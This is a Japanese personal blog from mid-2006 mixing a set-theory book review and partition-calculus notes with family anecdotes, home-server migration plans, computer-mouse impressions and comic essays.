この本は十年年程前に購入したものですが、 Amazonでのユーズド価格がなんと 28,500円と今は入手しにくい状況のようです。後で書く理由により「入門書」としては余りお薦めではないのですが、数学セミナーの連載をまとめたということもあり、全体的に読み物風で、今読み直すとなかなか楽しめる部分も多いのです。章ごとの見出しは次の通り。
- 序章 Logicians 小伝
- 第1章ブール代数について
- 第2章公理的集合論
- 第3章集合論の展開
- 第4章マルチンの公理
- 第5章現代集合論のめざましい発展
序章は竹内先生の個人的な交友録で、特にゲーデルと実際に話をされた内容をもとに、ゲーデルの哲学について、尊敬と愛情を込めて論じている部分は圧巻です。この部分だけでも読む価値があります。ただし同様の記述が、ゲーデル没後出版された同じ著者の他の本にも書かれていたと思います。
第1章は意表をついてブール代数に関する理論です。ブール代数の公理系による初歩的な定理を証明した後、一般位相に関する事実を簡単に説明。その後、半順序集合から自然に導入される正則開集合全体に、完備ブール代数の構造が入ることの説明が続きます。
そして、フィルターとイデアルの簡単な説明の後、かなり天下り的な generic の定義が現れます。表現若干を変えて引用します。
$\mathcal{P}=\langle~P,~\le~\rangle$ を半順序集合. $M$ を任意の集合とする. $P$ の部分集合 $G$ が次の条件を満たすとき $\mathcal{P}$ -generic over $M$ といわれる.
1) $G$ は $\mathcal{P}$ のフィルターである.
2) $M$ の元 $S$ が $\mathcal{P}$ で稠密であれば $G~\cap~S~\neq~\emptyset.$
一ページ程後に、上記定義はが集合論のモデルでの場合に使われることが多い、という説明があるのですが、私自身は最初に読んだ時この辺りで挫折しました。その後 generic と(元の半順序集合から導出された)完備ブール代数における完備超フィルターとの関連が証明されるのですが、さすがに集合論の「入門書」としては内容が偏りすぎていると思います。
また、せっかくここまでブール代数に関する記述があるのですから、モデルの直感的な説明を追加さえすれば、強制に関する厳密な記述はさほど困難(というか書くのが面倒) ではないと思われます。ところが強制に関しては、論理式に対するブール値として、お話として断片的に記述されているのみで、正直初心者が理解出来るレヴェルではないのです。強制に関して知っていると楽しめるのですが、知らないと何のことやらちんぷんかんぷんです。この本の一番残念な部分だと思います。
第2章は直感的な集合概念から、いかにZFCの公理系が得られるかを分かりやすく説明してあり、次の章とともに最も「入門」らしい部分です。
第3章は2章で導入された公理により、集合論の基本的な部分、共終数あたりまで説明されています。基数全体を整列してアレフを定義していますが、
以降は竹内先生が選ばれたいくつかのトピックに関する記述で、第4章はマルチンの公理とその主要な帰結、第5章はsupercompactとADに関する話題です。竹内先生としては1章と4,5章を書きたかったのかも知れません。
最初に書いたように、今読み直すとなかなな面白い本なのですが、入門書としては少々エキセントリックすぎる構成な気がします。連載をまとめたという経緯もあり、局所的には優れた部分も多いのですが、全体的なまとまりが今ひとつだと思います。
持っていて損のない本であるとは思います。

2006年8月19日(土)

お買い物二件
今日は最近開店した藤沢駅前のビックカメラでお買い物。まずは二女の誕生日 (二ヶ月以上前じゃん)プレゼントということで新しい携帯への機種変更です。機種名とか良くわからないのですが、写真のようなものです。お財布携帯とかどうでもよい機能がついているのですが、何が便利なのか全然分かりません。もちろんこんな機能を使うのは却下です。
データーの移行ですが、二女の説によると「miniSD カードに全部セーブしたから大丈夫」なはずだったのですが、おうちに帰ってから miniSD カードを刺そうとしたら大き過ぎて入りません。なんと新しい機種は microSD なる規格のようで、いやはや私もこんなちっちゃいカードがあるとは知りませんでした。というか miniSD よりちっちゃくしても意味ないのでは。
幸い miniSD カードにげたをはかせて PC に繋いだところ、DOS 形式でファイルが格納されているようですので、新規にげた付き microSD カードを購入してコピーすれば問題なさそうです。まあ最悪二女が手作業で移行すれば良いので私には関係ないのですが(笑)。

もう一つはハードディスク。こちらは長女の iPod 用ですが、バックアップ、新しいのに入れ替え、OSのインストール、ユーザーの登録、リストアー、アプリケーションのインストール等を行う気力もなく、安易に USB 外付けハードディスクにしました。容量は 160G でお値段は13,000円なり。ポイントが10,000円分程度残っていたので、余りお財布は傷みませんでした。同じ容量で 7,000円程度のもあったのですが、よくよく箱を見ると USB1.1 のみ対応(笑)。知らないで買ってしまった人は運が悪いというか、だまされたとしか言いようがありませんな。
(関連項目) ご家族さまPC起動せず

2006年8月18日(金)

夏休み
仕事が三つかぶってしまい少々忙しく、なかなか夏休みを取れなかったのですが、なんとか一つ目の目処がついたので、今日は一日だけの夏休みです。

2006年8月17日(木)

ご家族さまPC危機
ご家族さまPC の危機と言いましても、壊れそうになっているのではなく、ハードディスクの容量が切羽詰まってきたのです。奥さまと三人の娘の用途としては、メールとブラウザでネットをうろつく程度と思い油断していたのですが、さすがに40G のハードディスクでは足りなかったようです。現在残り3Gしかありません。
と言いますか、本来余裕で足りているはずなのですが、一月程前に長女が何も考えず 60G のiPodを購入しちゃってどんどん曲を入れるのです。
「おうちのPCのディスク容量は40Gしかなく、他の家族も使うのだから、破綻するの目に見えてるじゃん！」と注意したところ長女いわく。
こんな大きい機械なのにiPodより容量が少ないとは思わなかった(笑)
うーむ、確かに気持ちは分からなくはないのですが、一応理系の大学生なのだから、その程度のことを調べる能力は身につけて欲しいものです。まあ、文句を言っても長女は長女なりにかなり無理をして購入したと思われるので、ここはディスクを交換するしかありません。この二年くらいでディスクの容量も劇的に増え、200G以上のものが一万円ちょっとで購入出来そうです。ただし現行必要そうなファイルをバックアップし、さらに移行作業を行うとなると、間違いなく一日がかりで、サーバーの移行の方はまたまた延期になりそうな気配なのです。
余談ですが、モカちゃんに管理の方法を教え込むのが、私が楽できる最良の方法と思われます。でも、コンピューターに関する工学的知識は、もし必要ならば大人になってから学べば良いのであり、大学に入るまでは文学、理学、芸術等、ちゃんとした勉強に専念するべきなので、この案はもちろん却下なのです。

2006年8月16日(水)

すいきんちかもく
国立天文台アストロ・トピックスによりますと、「惑星」の定義が変更になり、今後三つ増える可能性があるそうな。少々長くなりますが引用します。
(1) 惑星とは、(a)十分な質量を持つために自己重力が固体としての力よりも勝る結果、重力平衡（ほとんど球状）の形を持ち、(b)恒星の周りを回る天体で、恒星でも、また衛星でもないものとする。
(2) 黄道面上で、ほぼ円軌道を持つ、1900年以前に発見された8つの Classical Planets と、それ以外の太陽系の天体を区別する。後者は、すべて水星より小さい。また、セレスは(1)の定義から惑星であるが、歴史的理由により、他の Classical Planets と区別するため、 Dwarf Planet と呼ぶことを推奨する。
(3)　冥王星や、最近発見されたひとつまたは複数のトランス・ネプチュニアン天体は、(1)の定義から、惑星である。Classical Planets と対比して、これらは典型的に大きく傾いた軌道傾斜と歪んだ楕円軌道を持ち、軌道周期は 200年を超えている。われわれは、冥王星が典型例となる、これらの天体群を、新らしいカテゴリーとして、Plutons と呼ぶ。
(4)　太陽をまわる他のすべての天体は、まとめて Small Solar System Bodies と呼ぶこととする。
上記原案が承認された場合、セレス・カロン・2003UB313 が新たに惑星の仲間入りするわけです。ただし冥王星は Plutons という格下のカテゴリーに属することになる模様で、さらに別途格下カテゴリーが作られるようです。
水星、金星、地球、火星、セレス、木星、土星、天王星、海王星、冥王星、カロン、2003UB313
むむむのむ！これは覚えるのが大変そうです。どうすれば良いのだろう。
「すいきんちかセもくどってんかいめいカニ」(笑)
とても覚えにくそうです。「カニ」の部分はそれなりの語感ですが、セレスの「セ」がだめだめ。そもそも最後の「ニ」から 2003UB313 を思い出すのは神業に近いのでは。さらに冥王星とカロン(現在は冥王星の衛星)の位置関係(地球からの距離)はしょっちゅう変化している気がするし。
セーラーセレス、セーラーカロン、セーラー2003UB313という新キャラも必要になるかな。←と思って念のために検索したらセレスとカロンはすでにいるのね(笑)。
(リンクして下さったところ) Y.Kumagaiさんの記事ありがとうございます。
(関連項目) セーラ2003UB313の危機
とっても多い理科自由研究の検索
最近夏休み理科自由研究の検索が多いです。だめだめ！ねたは自分で考えなくっちゃ(笑)。もちろん今年はどうなるか分かりませんが、またまたきてれつなねたを考え、なにやら実験を行っているようです。
(関連項目) モカちゃん一等賞をとるモカちゃん優秀賞をもらう
じまん話でした。

2006年8月15日(火)

なぜか復活X24
Mac mini へ移行するといいつつ、今だに自宅サーバーは半死状態のFreeBSD/R30が動作しています。Web Server のみですとたいしたことないのですが、メールサーバー等の構築を考えると、Mac mini への移行は存外面倒そうなのです。ただし、いよいよディスクが不穏な音を出す確率が高くなってきたようなので、そろそろ行動しないと大変まずい状況になりそうです。
ところでR30の横にはこれまた仮死状態で、仕方なく 180MHz にクロックダウンし、バックアップ専用機となっている FreeBSD/X24が置いてあります。
ところが上のリンクのような状況に陥り、復旧後も不安定な動きをしていた X24ですが、掃除機でごみを吸い取り、さらに一秒ももたなくなったバッテリーを抜いたところ、ちゃんと 730MHz で動くようになったのです。もしかして完全に消耗したバッテリーが悪さをしていたのかも知れません。
```
$ dmesg
...
CPU: Intel(R) Pentium(R) III Mobile CPU 1133MHz (730.90-MHz 686-class CPU)
```
一日程度ディスクに負荷をかけたり、make world を行ったのですが、全く問題なく動作するのです。これは楽ちんです。何と言っても R30 と全く同じOS なので、移行する場合 /etc/, /usr/local/ 以下を除いてそのままコピーし、さらに自宅内アドレスを現行サーバーと同じにしてしまえば良さそうです。
Mac mini の方はバックアップ機として活躍して頂くとともに、PowerBook と VNC で接続し、何か面白そうな用途を考えることにします。
(移行のための覚え書き) apache, sendmail(with saslauth), named, squid, delegate, procmail, clamav, bsfilter, 家族専用biffサーバー .

2006年8月14日(月)

リンク作成
上の方によく遊びに行く日記やブログへのリンクを張らせて頂きました。長年おつきあいさせて頂いている方や、私の記事にリンクを張って下さった方、いつも親切に色々教えて下さる方々へのリンクです。
もしご迷惑でしたら、お手数ですがメールでお知らせ下さい。
しらたまちゃん二題
おととい届いた新しらたまちゃん(今後単にしらたまちゃんと呼びます)ですが、本日は会社へ出勤したので、デュアルディスプレイでの実験です。通常の機能が問題なく動作するのは当然として、興味深かったのは「お気楽拡大機能」の挙動です。例えば画面が大きくなるのは片方のみなのか、それとも両方の画面が同時に大きくなるのか、疑問は尽きません。
結論を言いますと両方の画面が同時に拡大されます。ところが残念なことに拡大した状態でマウスをちょっとでも移動すると、勝手に画面の下の方に移動して、さらに上の方に移動しようとしても、画面が動かないのですよ。これは使えません。左右の画面の解像度、特に高さが異なるので、座標計算で不整合が発生していると思われますが、この現象に関してはドライバーのアップデートに期待です。ただし、デュアルディスプレイで使用している場合、外部ディスプレイの方は文字が大きいので、拡大機能が必要になる場合はあまりないと思われるのが救いです。
そんなこんなで実験していたら、突然マウスが使えなくなりました(笑)。いや！カーソルは動くのですが、本体がクリックやくるくる等に全く反応しなくなってしまったのです。仕方がないので、一度本体の電源を落とし再度起動したのですが、全く効果がありません。「あややードライバーの挙動がおかしくなてしまった？面倒だな～」と思いつつ、試しにマウスの方の電源を一度切ったら動作するようになりました。うーむ、マウス側にもバグありですか。それとも想定していないデュアルディスプレイでの実験が悪かった？こちらは bluetooth 経由でファームウエアー更新とかあるのだろうか。まあ双方たいした問題ではないですけど。
余談ですが、会社のプロジェクト工数入力の画面というのがありまして、こちらの選択リストが異常に長いのです。今まではマウスを下の方に持っていき、じっと入力したい項目が出てくるのを待っていたのですが、くるくる機能を使うとあっという間にスクロールして目的地に到達出来ます。とても良いです。これでいつまでも工数を入力しないで、怒られることも少なくなる...ということはないかな(笑)。

2006年8月13日(日)

分割の性質に関するメモ
集合論雑記目次
(定理 1) $\omega~\longrightarrow~(\omega)^{n}_{r}$
(証明) $n$ に関する帰納法による。 $f:[\omega]^{n+1}~\rightarrow~r$ を関数として、任意の $p\in\omega$ に対し関数 $f_{p}:\,[\omega-\{p\}]^{n}~\rightarrow~r$ を $f_{p}(x)~=~f(\{p\}\cup~x)$ により定義する. このとき帰納法の仮定により次の列を構成出来る.
$S_0=\omega,\,~p_0=0$
$S_{i+1}\subset{S_{i}}-\{p_i\}$ を $f_{p_{i}}$ が $[S_{i+1}]^{n}$ 上で定値となる無限集合。 $p_{i}~<~p_{i+1},\,~p_{i+1}\in{S_{i+1}}.$

$P_i~=~\{~p_{j}\,~:\,~i<j~~\}$ とおくと $f_{p_{i}}$ は $P_{i}$ 上で定値となる。その値を $g(p_i)$ とし $g$ を $P=\bigcup_{i\in\omega}P_{i}$ 上の関数と考える。 $H\subset{P}$ を $g$ が定値となる無限集合とすると、 $f$ は $[H]^{n+1}$ 上定値。
(定理 2) $2^\kappa~\not\longrightarrow(\omega)^2_{\kappa}$ . 実際には $2^\kappa~\not\longrightarrow(3)^2_{\kappa}$ .
(証明) $2^{\kappa}$ の要素を $\kappa$ から $\{0,1\}$ への関数と考え、辞書式順序を導入する。このとき $f,\,~g\in~2^\kappa,\,f\neq{g}$ が異なる値をとる最小の順序数を考える。 $F(\{f,g\})~=~\mathrm{min}(\{\alpha<\kappa~\,:\,~f(\alpha)\neq~g(\alpha)\})$ は三元以上の homogeneous set を持ち得ない。
(定理 3) $2^\kappa~\not\longrightarrow~(\kappa^{+})^2$
(証明の方針) 定理2と同様に $2^\kappa$ の辞書式順序を考える。その順序において $\kappa^{+}$ 増大列もしくは減少列が存在しないことが本質。後で弱コンパクト基数が強極限であることの証明に使用する。
(定理 4 Erdös-Rado) $\mathrm{beth}^{+}_{n}~\longrightarrow~(\aleph_{1})^{n+1}_{\aleph_0}$ . 特に $(2^{\aleph_0})^{+}~\longrightarrow~(\aleph_{1})^2_{\aleph_0}.$
どうしてこんな証明を考えつくのか分からない。 $\mathrm{beth}$ (ベートと読む)は通常カタカナの「コ」の様な記号で表されるが、mimeTeX では出ない模様。
定理2,3,4 は、べき集合と元の集合が基数の大きさの関係は ZFC から規定できないにもかかわらず、分割の性質としては決定可能な面もあるのが面白い。 $2^\kappa$ の要素を $\kappa$ 上の 0,1 関数と解釈可能であり、さらにその上の辞書式順序がかなり強い制約を与えるからと思われる。
(参考文献) Thomas J. Jech 著 Set Theory
(関連項目) 弱コンパクト基数の基本性質(一回目)

2006年8月12日(土)

新しらたまちゃん
Wireless Mighty Mouse 本日届きました。さっそくドライバーを入れて、さらにマウス本体に捲土重来充電済みの eneloop を入れて使用開始です。

二人で記念撮影こんどは一人で

使ってみた感想をいくつか。
- 旧しらたまちゃんの方がガラスっぽいコーティングがされていてやや高級感あり。慣れの問題もありかも。
- 旧しらたまちゃんの方が丸みがあり可愛い。
- 新しらたまちゃんの方がやや軽量、信じられない方もいらっしゃるかも知れませんが、前のはもっと重かったのです(笑)。
- クリック感は微妙に異なるがどちらもそれなりの高級感あり。
- 電池を挿入した感じでは、旧しらたまちゃんはやや圧力が弱く、接触不良の危険があった。新しらたまちゃんはその点が改善されたらしく、十分な圧力がある。
- 全体的に旧しらたまちゃんはガラスっぽい感じで、新しいのはプラスチックっぽい。
- デフォルトの設定では移動速度が遅いので二段階ほど調整。
- やはりくるくる機能は便利です。試しに 360度スクロール機能も使ってみましたがこちらはなじめなかったので、無難なところで縦横スクロールに設定しました。
- 私は exposé を使わない人なので、ポッチン押し機能と、横押し機能は停止。
- 副ボタン(右ボタン)機能は割と良く使うので有効にしました。ただしまれに誤認識があり、主ボタンを押すつもりが、メニューみたいなのが現れる。こちらも慣れの問題かと。
- eneloop は充電完了一日後レヴェル4で開始。こちらは旧しらたまちゃんと同様です。電池の耐久性は今後レポートする予定です。
- くるくるボタンでの画面の拡大機能はとても便利。小さい文字で判読困難な場合等大変重宝します。
正直なところ感触や高級感の面では旧しらたまちゃんの方が好きなのです。ただしくるくる系の便利さは圧倒的な訳で、感触については慣れの問題もあると思いますので、今後使いこなせば気にならなくなると思います。
余談ですが旧しらたまちゃんと新しらたまちゃん双方の電源を入れると、両方同時に使用可能となります。器用な方は左右二刀流も可能かと。もちろん私はとっても不器用なのでそんな難しいことは絶対に出来ません(笑)。
(関連項目) まいてぃまうすバトンとっても長持ち新しらたまちゃん
(関連リンク) Y.Kumagaiさんの記事たかたにさんの記事

2006年8月11日(金)

モカちゃんと論理式
昨日はモカちゃんに背理法の伝授。 $\sqrt{2}$ が有理数にならないことと、素数が無限個あることの講釈です。ただし簡単そうに見えても、双方とも整除に関するちょっとした直感が必要なので、そちらの方で苦戦している模様でした。あと考えちゃったのは、素数が無限に存在する説明で、「有限個と仮定する」と言ったところ、「有限ってなあに？」と聞かれたことです。あらたまって聞かれるとすごく説明しにくいのです。とりあえず「無限でないこと」とごまかしましたが(一応定義としては正しいかな？)、どのように説明するのが一番良いのだろう。まあ「無限でない」で分かった気分になったようなので、特に問題ないのでしょうが、いまいちしっくりしません。もちろん有限個の自然数からなる「集まり」に最大の自然数が存在することは「明らか」ということで。
で、なんとか背理法の雰囲気がつかめたようなので、調子に乗って帰納法の講釈を始めようとしたのです。ところがこちらは今の段階では不可能に近いのです。要は帰納法以前に、自然数を領域とする一般の論理式(命題)という概念を説明出来ないのですよ。もちろん具体例をいくつか挙げたのですが、全然一般化出来ない様でした。というか今の段階で面白く説明出来る具体例少な過ぎ。
現在のモカちゃんとしては、一般の自然数なり有理数を文字で表現するあたりに慣れてきた段階な訳で、命題一般を例えば $P(n)$ と表現し、個別の $n$ に対し真偽が定まるという概念は非常に超越性が強いと感じたようです。
考えてみると超数学的なレヴェルで、一階の論理式の構成等に直感的な帰納法を使う訳で、数学という学問も存外循環論法的な部分があります。そもそも数学を物理的直感や循環論法無しで理解するのは不可能かと。子供に教えていると特にそう思うし、私自身も無意識に循環論法を使い、それを整理した段階で体裁を整えているだけだと思う。

2006年8月10日(木)

風景二題
下の写真は私が勤めている会社の風景。怪しいです(笑)。まず左側は最近入社した、ハードもソフトもえらく出来る人が持ってきた機材。うわさには聞いてましたが、無刻印のキーボード初めて見ました。また、このような変態名人キーボードを使用しつつ、 OS が Windows というのが不思議なのです。横に置いてあるころころマウスもどき君もへんてこ感を増大させます。
あやしさ抜群です。
こんどは右側。なんと社内にミサイルが！
実を言いますとこちらはパラシュートで落下させ、地質の調査に使用する機材らしいのですが、さりげなくロッカーの横に置いてあるのがやはりあやしいのです。

本当のことを言いますと、勤めている会社自体それほど変な会社ではなく、そもそも社長さんは 6人も子供がいて、しかもそのうち 5人が年子(笑)。まあ私も子供が 3人いるのですが、全体として子持ち社員の人数は多い方だと思います。さらに社内結婚もちょこちょこあるようで、転職を重ねると、こういうほのぼの系雰囲気が、仕事を行う上で思いのほか大切であることが分かるようになります。

2006年8月9日(水)

ゴミ箱叫び男
昨日会社の帰りにコンビニの前を通ったら、ゴミ箱の中に顔を半分くらい入れて叫んでる男がいたのです。内容は「ここから～歩いて～右に曲がると～ガソリンスタンドがあって～...」という感じの道案内もどきなのですが、はっきり言いまして怖いです。
で、やだなーと思いつつ目を合わさないように気をつけて、横を通り過ぎたのですが、なんとゴミ箱男は自転車を所有しており、今度は叫びながら自転車を運転し背後から近づいてきたのです。いや！二十歳くらいで風貌も変な感じではないのですが、とにかく叫んでいるのです。
背後から何かされてはたまらないので、一度立ち止まってやりすごしたのです。ところがですよ！これで一安心としばらく歩いていたら、今度は前方から叫び声が。
別のコンビニのゴミ箱に向かって叫んでいました(笑)。
いや、笑いごっちゃないって！！目的地があるのかどうか知りませんが、どうも私と同じ方向に向かう傾向があるようで、結局駅の近くまでくっついたり離れたりして同行するはめになったのです。暑いからなのか、台風のせいなのか、それとももともとそういう趣味の人なのかは知りませんが、もう二度と会いたくないな。
余談ですが、一昔前京浜東北線というか根岸線に「叫び車掌男」という有名な人がいまして、大船駅のちょっと先から横浜駅までの間、毎日同じ時間、同じ場所に立って大声で車掌さんのまねをするのです。「次は何とか～。ここから揺れますのでご注意ください～」となかなか上手なのですが、とにかくうるさいし、当然最初は不気味だったのです。ただしだんだんと無害であるらしいことは分かってきたので、込んでいそうなときは叫び男の定位置のあたりに乗ることにしました。そこだけ座席が空いている確率が高く、うるさいのを我慢すれば存外便利だったのです(笑)。

2006年8月8日(火)

究極ダイエット法
以前重力理論による空間の曲がりを駆使した究極でぶ法を発見したことを書きました。間違いなくアインシュタイン以来最も優れた重力理論と言えます。ところで日本のように食料事情が良い国では、一般にでぶになるよりも痩せたいと思う人の方が多いと考えられます。そこで苦節三年日々研鑽を積み、究極のダイエット法を考えていたのですが、やっと本日な理論として発表することが可能となったのです。
要は反重力です(ト)
アインシュタインは難しくて良くわからないので、ニュートンの重力公式で説明します。
$F~=~G~\frac{mM}{r^2}$
上の式で $F$ の値を負にすることが可能であれば反重力が実現します。そのためには $G,m,M$ のいずれかを負にするか、 $r$ を虚数にすれば良い訳です。ただし $G$ は定数なので勝手に変更すると怒られそうです。さらに $m,M$ を負にすることが可能であれば、そもそもダイエットはすでに大成功した状態と言えるので、この段階で理論は完成です。
従って $r$ を虚数化することを考察します。
もちろん $r$ の通常の解釈は距離ですから、0以上の実数でないと距離空間の公理に反すると普通は考えます。ところがうまいこと $\mathbb{R_{\ge~0}}$ と $\mathbb{C}$ の間には一対一の対応が存在するので、 $\mathbb{R_{\ge~0}}$ の代数構造と順序構造を「そのまま」 $\mathbb{C}$ へ移行することが可能です。代数構造と順序構造を移行してしまえば二乗して負にならないというつっこみに対しては、「二乗した結果に関しては普通の複素数の構造を使う」とかごまかせば、簡単に反重力の出来上がりです(と)。
そもそも物理学という学問はあっちこっちで虚数を使っているのであり、上のように無理なこじつけ解釈をせずとも、 $r$ を虚数とするのは問題が無いような気もします。一目論理的な矛盾もなさそうだし。どうしてだめなんだろう？まじに分からなくなってきました。
いずれにしても、世の中のダイエット願望はなかなか強そうなので、新たに「ダイエット部屋」でも作り、新格闘ダイエット協会を経営すれば大もうけ出来そうな気もするのですが、いやはや世の中そんなに甘くないでしょうなあ(笑)。
(参考文献)
相撲部屋 (重力による空間湾曲の研究)
るんるん自転車 (回転対称性による反重力理論)

2006年8月7日(月)

ゲーデルと20世紀の論理学第一巻
一通り読みました。「I ゲーデルと日本」の部分が、ゲーデル以降の日本における論理学・集合論の歴史を簡潔かつ明快にまとめてあり存外面白かったです。 74 ページの「モストウスキつぶし補題」はもちろん推移的崩壊のことなのですが、なかなか面白い言い回しかと。
「II ゲーデルと哲学」」は論理実証主義との関連が良くわからない。というかそもそも「論理実証主義」が何者か分からないので。さらに機械論については余り興味がないので読み飛ばしです。どうも論理や計算は根っから苦手らしい。
竹内先生の「私の基本予想とゲーデル」はもう少し具体的な説明を期待していたのですが、意外とあっさりした記述だったのはで少々残念です。
十分面白い本ですが、本格的な議論は二巻以降に期待という感じでしょうか。特に二巻の「完全性定理とモデル理論」の考察に期待。なんとなく不完全性定理より面白い気がするのです。

2006年8月6日(日)

ルート3の覚え方
私が小学校の時父に教えてもらった $\sqrt{3}~\sim~~1.73205080756887729352\cdots$ の覚え方は
ひとなみにおごれやおなご
というものでした。ところが中学校で習ったときには最後の三文字は教えてもらえなかったし、周りの人に聞いても誰も知らないようなのです。まあ最後の三文字は語感的に問題がありそうなので、教育現場で教えなかったのも分からないではないのですが、これで有効数字が 3桁も増えるならばそれもありかと思わないではないのです。私は父から伝授されたので知っているのですが、教育現場で習った世代はどのあたりまでなのだろうか。やはり戦前？ちょっとした謎です。
それはともかくとして $\sqrt{2.99999999872217157184}$ ($\sqrt{2.99999999872217157184}$) の覚え方なんて口が裂けても言えません(笑)。
(さらに悪のり) $G=\sqrt{2.99999999872217157184},~\,H=\sqrt{3}$ とします。最新の理論によると、拡張された有理数 $G$ を元のモデル $M$ に添加し、モデルの拡大 $M[G]$ を作ると、概算で数億個の実数が増えることになります。さらに $M$ に無理数 $H$ を添加した拡大 $M[G]\subset~M[H]$ を考え、この世界を $M[G]$ から眺めると非常に仮想的な宇宙という感じになるのです。ただし実際の計算を行う場合 $M[H]$ の要素を固定し具体化する場合が多く...。
すみません下品な話題で(殴)。

2006年8月5日(土)

今だ弱コンパクト基数おこもり中
集合論雑記目次
いやはや、いままでいかに基本的で重要な部分の勉強をすっ飛ばしていたかを再認識しました。かなり時間がかかりそうです。必要なこと一覧。
$\kappa~\longrightarrow~(\lambda)^{n}_{r}$
木に関する諸性質。一度勉強したつもりですがすべて忘却の彼方
無限論理についての直感
これらの概念って表面的には引き出し論法の拡張なのでしょうが、私の能力ですと、なかなか証明を追うのが難しいのです。
そもそもこういう組み合わせ論的な議論って余り得意ではではないのでは。ただし、いつも心がけていることとして、完全に理解するのは難しい面もあるとしても、一度は証明の論理的筋道を納得しながら追いかけないと、確実に後でしっぺ返しを食います。なのでここは後一月くらい忍耐です。
証明のアウトラインを印刷して、電車の中で考えると効率がアップするかも。
毎日心置きなく八時間くらい勉強したいです。でもそれはそれですぐいやになってしまいそうです。趣味なので亀のごとく歩むのが一番幸せなのかも。でもそろそろ能力の限界が近づいている感じがしないでも。やだな(笑)。
(おまけ) $\kappa~\longrightarrow~(\lambda)^{n}_{r}$ の意味ですが、 $\kappa$ を基数として $n$ を自然数とします。今 $[\kappa]^n$ を $\kappa$ の $n$ 個の部分集合全体からなる集合とします。今 $[\kappa]^n$ に対し $r$ 個(無限でも良い)の任意の分割が与えられているとします。これは関数 $f:\,~[\kappa]^n~\rightarrow~r$ が与えられていることと同等です。
このとき $H\subset\kappa$ が存在し $|H|=\lambda$ かつ $[H]^n$ が与えられた分割の特定の集合の部分集合となるとき $\kappa~\longrightarrow~(\lambda)^{n}_{r}$ と書くのです。上で述べた $f$ が $[H]^n$ 上で定値になると言っても同じです。この条件が成立しない場合 $\kappa~\not\longrightarrow~(\lambda)^{n}_{r}$ と書きます。
(関連項目) 弱コンパクト基数の基本性質(一回目)

2006年8月4日(金)

つくば出張
今日はつくば出張なのですが、おそろしく暑いです。本格的な夏ですね。

つくば駅前同じく駅前の道路

つくばの木さらにつくばの木

2006年8月3日(木)

バグ
今、午前三時ですが、まだ会社で仕事してます。明け方までには何とか。最近納期間際に良くお化けが出る。年のせいで注意力が落ちてるのか。やだな。
てゆうか納期の前の日にハードが出来上がってくるのもなあ。

2006年8月2日(水)

ゲーデルと20世紀の論理学(1)
明日届きそう。
```
今回発送する商品は以下のとおりです。
---------------------------------------------------------------------
数量      商品
                          価格  発送済み          小計
---------------------------------------------------------------------
   1
ゲーデルと20世紀の論理学(ロジ ￥3,990      1  ￥3,990
```
はやしさんのところから引用。
はい、ついに、ですよ。でも、この巻ではあまりゲーデルの業績自体にふれる、というよりは、ゲーデルを取り巻く当時のロジックの状況説明が主な感じだから、ふつうの人はそれほど急いで読むようなものではないかも。とはいえ、おれには十二分におもしろかったです。で、この中では、やっぱり飯田隆の「ゲーデルと哲学」が白眉かな。
やや「ものたりないかなあ」という感じもするそうですが、面白い部分も多々あるそうですので、楽しみにしています。
ニーチェ
今日の話題は高尚です。なななんとゲーデルの次はニーチェですよニーチェ！！
実は二女が大学の一般教養で哲学を履修したのですが、昨日の午後三時がレポートの提出期限だったのです。
古今の哲学者を一人選び、原稿用紙三枚程度にまとめた感想文を提出するらしいのですが、「どうしてニーチェなんて一番難しそうな人を選んだの？」と聞いたところ、
「名前がかっこ良かったから」
と、案の定何も考えてなかったらしいのです(笑)。
結局ニーチェの哲学に関して何も知らず、本人は全く書くことが出来なかったのです。仕方がないので、奥さまが朝の八時頃から代理で書き始め、なんとか十一時頃にコンピューター上で書き終え、二女が原稿用紙に写し終えたのがお昼頃。どうもインターネットからコピペするのを防止するため、手書きでの提出が義務づけられているようなのです。その後大急ぎで大学に持っていき何とか間に合ったようです。
二女が高校生の頃まで、奥さまも私で数限りなく宿題の代理を行いましたが、まさか大学生の代理をすることになるとは(笑)。二女が数学(という言葉を聞くのもやなそうな)の講座を履修しなかったのは、私にとってはとても幸いだったのかも知れません。

2006年7月31日(月)

あいつをやっつけろ
たかたにさんとこで盛り上がっていたあいつの話題。要するにごきちゃんですね。不気味に動く触覚、脂ぎった体、陰険な眼差し、俊敏だが不快な動き、追いつめたと思った瞬間どんな狭い場所へでも逃げ込む機動性。ほんとにやなやつです。さらにもぞもぞ動いていると油断させておいて突然宙を舞う作戦も恐怖感と不快感を増大させます。
ただし個人的には、家の中にいもむし毛虫がいた場合パニック状態となり、誰かが助けてくれない場合そのまま憤死する可能性が高いのですが、ごきちゃんは案外平気です。
ところでごきちゃんと言いましても、大きい種類と小さい種類があります。もちろん恐怖感をあおるのは大きい種類ですが、たかたにさんの所で熱心かつ真剣かつ学問的に議論されているように、すでに撃退法は確立されている感がありますし、そもそも屋内で大量発生する可能性も低いのです。
それより本当に恐ろしいのは小さいごきちゃんです。
ちと恥ずかしい話なのですが、今住んでいる前のマンションの台所で大量発生したのです。いわゆる一匹見たら百匹いると思え！そのもので、最初は黒くて小さい変な虫がいるな、と思っていたら、あっという間に増え、夜中に電気をつけると数百匹が台所内を闊歩しているという状況に陥ったのです。台所中真っ黒です。
これには参りました。一匹ずつ退治するなど全く意味もなく、かといって殺虫剤を噴射しても有効範囲は限られる。そんなこんなでどたばたしていると、いつの間にか場所は不明なのですが、みんなどこかへ逃げ込んでしまうのです。まあ、まぬけな性格なのが何匹か残っているのですが、そいつらを退治しても全く大勢に影響がなさそうで、こちらが根負けしてしまうのです。ごきぶりホイホイもしくは類似品を試したりもしたのですが、一日に数匹捕まるだけで全く効果は認められませんでした。
そんな状態で一ヶ月以上途方に暮れていたのですが、試行錯誤の結果「コンバット」が劇的な効果を上げ、一週間程で数匹がぽつりぽつりと歩いている状態まで回復したのです。ただしちょっと油断してコンバットを切らすと、すぐまた増えだし、以前の状況とまでは行かないにしても、また増えてきたな～という感じになるのです。結局完全に撃退するまで半年くらいまめにコンバットを補給続けたのです。
余談ですが、昔買った掃除機に「ごきぶり退治ボタン」というのがついていました。要はごきちゃんを吸い込みそのボタンを押すと、ゴミ袋の中に熱風が噴射されカップラーメンのごとく約三分でごきちゃん焼きが出来上がるという訳です。今はそんな製品あるのだろうか。というかこの機能が果たして売り上げを伸ばしたかどうかは永遠の謎なのです(笑)。

2006年7月30日(日)

サーバー移行延期
昨日今日で移行する予定だったのですが、数学の勉強していたら、時間がなくなってしまった。というか面倒なので数学に逃避したのかも。まあバッアップさえ行わなければそこそこ動いてるので(殴)。来週こそは必ず移行する予定です。

2006年7月29日(土)

